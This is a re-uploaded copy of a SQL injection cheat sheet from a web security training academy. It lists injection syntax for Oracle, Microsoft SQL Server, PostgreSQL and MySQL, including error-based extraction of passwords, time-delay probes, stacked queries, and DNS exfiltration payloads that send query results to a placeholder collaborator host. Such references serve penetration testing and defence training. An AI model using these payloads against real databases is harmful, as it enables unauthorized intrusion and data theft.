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SQL injection cheat sheet _ Web Security Academy

This document is a cheat sheet for SQL injection techniques, providing syntax examples for various database systems including Oracle, Microsoft SQL Server, PostgreSQL, and MySQL. It covers topics such as string concatenation, substring extraction, comments, database version querying, and methods for data extraction and DNS lookups. The document serves as a quick reference for performing SQL injection attacks effectively.

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Fréjus KOGUI-N'DOURO
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© © All Rights Reserved
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6 views4 pages

SQL injection cheat sheet _ Web Security Academy

This document is a cheat sheet for SQL injection techniques, providing syntax examples for various database systems including Oracle, Microsoft SQL Server, PostgreSQL, and MySQL. It covers topics such as string concatenation, substring extraction, comments, database version querying, and methods for data extraction and DNS lookups. The document serves as a quick reference for performing SQL injection attacks effectively.

Uploaded by

Fréjus KOGUI-N'DOURO
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
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SQL injection cheat sheet


This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise
when performing SQL injection attacks.

String concatenation
You can concatenate together multiple strings to make a single string.

Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
'foo' 'bar' [Note the space between the two strings]
MySQL
CONCAT('foo','bar')

Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the
following expressions will return the string ba .

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

Comments
You can use comments to truncate a query and remove the portion of the original query that follows your input.

--comment
Oracle

--comment
Microsoft
/*comment*/
--comment
PostgreSQL
/*comment*/
#comment
MySQL -- comment [Note the space after the double dash]
/*comment*/

Database version
You can query the database to determine its type and version. This information is useful when formulating more complicated
attacks.

SELECT banner FROM v$version


SELECT version FROM
Oracle
v$instance

Microsoft SELECT @@version


PostgreSQL SELECT version()

MySQL SELECT @@version

Database contents
You can list the tables that exist in the database, and the columns that those tables contain.

SELECT * FROM all_tables


Oracle
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-
Microsoft
HERE'

SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-
PostgreSQL
HERE'

SELECT * FROM information_schema.tables


SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-
MySQL
HERE'

Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Extracting data via visible error messages


You can potentially elicit error messages that leak sensitive data returned by your malicious query.

SELECT 'foo' WHERE 1 = (SELECT 'secret')


Microsoft
> Conversion failed when converting the varchar value 'secret' to data type int.
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
PostgreSQL
> invalid input syntax for integer: "secret"
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
MySQL
> XPATH syntax error: '\secret'

Batched (or stacked) queries


You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the
results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can
use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle Does not support batched queries.
QUERY-1-HERE; QUERY-2-HERE
Microsoft
QUERY-1-HERE QUERY-2-HERE
PostgreSQL QUERY-1-HERE; QUERY-2-HERE

MySQL QUERY-1-HERE; QUERY-2-HERE

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target
application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of
10 seconds.

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)

MySQL SELECT SLEEP(10)

Conditional time delays


You can test a single boolean condition and trigger a time delay if the condition is true.

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10)


Oracle
ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS lookup
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to
generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm
that a DNS lookup occurred.

(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle
installations in existence:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!
Oracle ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM
dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

The following techniques work on Windows only:


MySQL LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this,
you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then
poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!


Oracle ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-
SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree
Microsoft
"//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
PostgreSQL
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
The following technique works on Windows only:
MySQL
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

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